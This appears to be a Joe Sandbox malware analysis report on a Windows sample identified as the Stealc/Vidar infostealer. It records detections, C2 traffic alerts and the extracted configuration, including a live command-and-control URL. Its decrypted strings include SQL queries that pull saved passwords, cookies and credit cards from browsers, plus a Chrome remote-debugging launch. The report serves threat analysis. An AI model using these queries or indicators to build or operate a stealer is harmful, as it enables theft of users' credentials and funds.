Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1546518
MD5:	943ef4ceee0552b2a23e7f50163c16a0
SHA1:	108869e2d6f5298b80ffcda8a708d63bff02fb4a
SHA256:	50c5eb159c1df9e3627a2dc270297d65e759fba62e4c6081619365357f188aac
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6336 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 943EF4CEEE0552B2A23E7F50163C16A0)

chrome.exe (PID: 3752 cmdline: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7212 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2256 --field-trial-handle=1908,i,11351815084681940783,16203471309566197544,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: Vidar

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1741284072.0000000004D50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2101784449.00000000009AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2102203891.0000000000E71000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6336	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6336	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6336	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6336	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.e70000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 6336, ParentProcessName: file.exe, ProcessCommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 3752, ProcessName: chrome.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T03:45:23.366136+0100	2022930	1	A Network Trojan was detected	52.149.20.212	443	192.168.2.4	49750	TCP
2024-11-01T03:46:02.569649+0100	2022930	1	A Network Trojan was detected	172.202.163.200	443	192.168.2.4	49783	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T03:45:06.887093+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T03:45:06.879765+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T03:45:07.174144+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T03:45:08.763012+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T03:45:07.188715+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T03:45:06.586262+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T03:45:09.719644+0100	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-01T03:45:27.378454+0100	2803304	3	Unknown Traffic	192.168.2.4	49756	185.215.113.206	80	TCP
2024-11-01T03:45:30.220432+0100	2803304	3	Unknown Traffic	192.168.2.4	49756	185.215.113.206	80	TCP
2024-11-01T03:45:31.954422+0100	2803304	3	Unknown Traffic	192.168.2.4	49756	185.215.113.206	80	TCP
2024-11-01T03:45:32.947229+0100	2803304	3	Unknown Traffic	192.168.2.4	49756	185.215.113.206	80	TCP
2024-11-01T03:45:36.067887+0100	2803304	3	Unknown Traffic	192.168.2.4	49756	185.215.113.206	80	TCP
2024-11-01T03:45:36.858068+0100	2803304	3	Unknown Traffic	192.168.2.4	49756	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.e70000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 0.2.file.exe.e70000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.file.exe.e70000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: 30
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: 11
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: 20
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: 24
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GetProcAddress
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: LoadLibraryA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: lstrcatA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: OpenEventA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: CreateEventA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: CloseHandle
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: Sleep
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: VirtualFree
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GetSystemInfo
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: VirtualAlloc
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: HeapAlloc
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GetComputerNameA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: lstrcpyA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GetProcessHeap
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GetCurrentProcess
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: lstrlenA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: ExitProcess
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GetSystemTime
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: advapi32.dll
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: gdi32.dll
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: user32.dll
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: crypt32.dll
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: ntdll.dll
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GetUserNameA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: CreateDCA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GetDeviceCaps
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: ReleaseDC
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: sscanf
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: VMwareVMware
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: HAL9TH
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: JohnDoe
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: DISPLAY
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: http://185.215.113.206
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: bksvnsj
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: /6c4adf523b719729.php
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: /746f34465cf17784/
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: tale
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GetFileAttributesA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GlobalLock
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: HeapFree
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GetFileSize
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GlobalSize
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: IsWow64Process
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: Process32Next
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GetLocalTime
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: FreeLibrary
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: Process32First
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: DeleteFileA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: FindNextFileA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: LocalFree
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: FindClose
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: LocalAlloc
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GetFileSizeEx
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: ReadFile
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: SetFilePointer
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: WriteFile
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: CreateFileA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: FindFirstFileA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: CopyFileA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: VirtualProtect
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GetLastError
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: lstrcpynA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GlobalFree
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GlobalAlloc
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: OpenProcess
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: TerminateProcess
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: gdiplus.dll
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: ole32.dll
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: bcrypt.dll
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: wininet.dll
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: shlwapi.dll
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: shell32.dll
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: psapi.dll
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: rstrtmgr.dll
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: SelectObject
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: BitBlt
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: DeleteObject
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: CreateCompatibleDC
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GdiplusStartup
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GdiplusShutdown
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GdipDisposeImage
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GdipFree
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: CoUninitialize
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: CoInitialize
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: CoCreateInstance
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: BCryptDecrypt
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: BCryptSetProperty
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: BCryptDestroyKey
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GetWindowRect
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GetDesktopWindow
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GetDC
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: CloseWindow
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: wsprintfA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: CharToOemW
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: wsprintfW
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: RegQueryValueExA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: RegEnumKeyExA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: RegOpenKeyExA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: RegCloseKey
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: RegEnumValueA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: CryptUnprotectData
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: SHGetFolderPathA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: ShellExecuteExA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: InternetOpenUrlA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: InternetConnectA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: InternetCloseHandle
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: InternetOpenA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: HttpSendRequestA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: HttpOpenRequestA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: InternetReadFile
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: InternetCrackUrlA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: StrCmpCA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: StrStrA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: StrCmpCW
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: PathMatchSpecA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: RmStartSession
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: RmRegisterResources
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: RmGetList
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: RmEndSession
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: sqlite3_open
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: sqlite3_step
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: sqlite3_column_text
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: sqlite3_finalize
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: sqlite3_close
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: sqlite3_column_blob
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: encrypted_key
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: PATH
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: NSS_Init
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: NSS_Shutdown
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: PK11_FreeSlot
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: PK11_Authenticate
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: C:\ProgramData\
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: browser:
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: profile:
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: url:
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: login:
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: password:
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: Opera
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: OperaGX
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: Network
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: cookies
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: .txt
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: TRUE
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: FALSE
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: autofill
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: history
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: cc
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: name:
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: month:
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: year:
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: card:
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: Cookies
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: Login Data
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: Web Data
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: History
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: logins.json
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: formSubmitURL
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: usernameField
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: encryptedUsername
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: encryptedPassword
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: guid
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: cookies.sqlite
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: formhistory.sqlite
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: places.sqlite
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: plugins
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: Local Extension Settings
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: Sync Extension Settings
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: IndexedDB
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: Opera Stable
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: Opera GX Stable
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: CURRENT
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: chrome-extension_
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: Local State
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: profiles.ini
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: chrome
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: opera
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: firefox
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: wallets
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: ProductName
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: x32
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: x64
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: ProcessorNameString
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: DisplayName
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: DisplayVersion
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: Network Info:
